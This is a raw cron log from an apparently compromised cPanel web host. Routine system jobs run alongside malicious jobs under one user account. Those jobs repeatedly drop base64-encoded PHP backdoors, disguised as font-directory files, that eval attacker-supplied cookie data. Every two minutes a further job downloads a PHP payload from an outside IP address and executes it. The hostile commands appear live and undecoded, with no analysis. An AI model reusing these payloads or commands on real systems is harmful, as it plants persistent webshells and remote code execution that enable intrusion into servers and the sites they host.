Sep  1 17:16:01 ip-184-168-122-23 CROND[27836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:16:01 ip-184-168-122-23 CROND[27838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:16:01 ip-184-168-122-23 CROND[27839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:16:01 ip-184-168-122-23 CROND[27840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:17:01 ip-184-168-122-23 CROND[27943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:17:01 ip-184-168-122-23 CROND[27946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:17:01 ip-184-168-122-23 CROND[27945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:17:01 ip-184-168-122-23 CROND[27947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:18:01 ip-184-168-122-23 CROND[28106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:18:01 ip-184-168-122-23 CROND[28109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:18:01 ip-184-168-122-23 CROND[28110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:18:01 ip-184-168-122-23 CROND[28108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:18:01 ip-184-168-122-23 CROND[28111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:19:01 ip-184-168-122-23 CROND[28436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:19:01 ip-184-168-122-23 CROND[28440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:19:01 ip-184-168-122-23 CROND[28438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:19:01 ip-184-168-122-23 CROND[28439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28554]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:20:01 ip-184-168-122-23 CROND[28569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:20:01 ip-184-168-122-23 CROND[28568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:21:01 ip-184-168-122-23 CROND[28678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:21:01 ip-184-168-122-23 CROND[28679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:21:01 ip-184-168-122-23 CROND[28685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:21:01 ip-184-168-122-23 CROND[28683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:22:01 ip-184-168-122-23 CROND[28797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:22:01 ip-184-168-122-23 CROND[28801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:22:01 ip-184-168-122-23 CROND[28800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:22:01 ip-184-168-122-23 CROND[28802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:22:01 ip-184-168-122-23 CROND[28799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:23:01 ip-184-168-122-23 CROND[28884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:23:01 ip-184-168-122-23 CROND[28887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:23:01 ip-184-168-122-23 CROND[28886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:23:01 ip-184-168-122-23 CROND[28888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:24:01 ip-184-168-122-23 CROND[28966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:24:01 ip-184-168-122-23 CROND[28968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:24:01 ip-184-168-122-23 CROND[28971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:24:01 ip-184-168-122-23 CROND[28969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:24:01 ip-184-168-122-23 CROND[28970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:25:01 ip-184-168-122-23 CROND[29051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:25:01 ip-184-168-122-23 CROND[29053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:25:01 ip-184-168-122-23 CROND[29056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:25:01 ip-184-168-122-23 CROND[29054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:25:01 ip-184-168-122-23 CROND[29055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:25:01 ip-184-168-122-23 CROND[29057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:26:01 ip-184-168-122-23 CROND[29209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:26:01 ip-184-168-122-23 CROND[29211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:26:01 ip-184-168-122-23 CROND[29213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:26:01 ip-184-168-122-23 CROND[29214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:26:01 ip-184-168-122-23 CROND[29215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:27:01 ip-184-168-122-23 CROND[29398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:27:01 ip-184-168-122-23 CROND[29399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:27:01 ip-184-168-122-23 CROND[29402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 17:27:01 ip-184-168-122-23 CROND[29403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:28:01 ip-184-168-122-23 CROND[29710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 17:28:01 ip-184-168-122-23 CROND[29713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:28:01 ip-184-168-122-23 CROND[29714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 17:28:01 ip-184-168-122-23 CROND[29715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
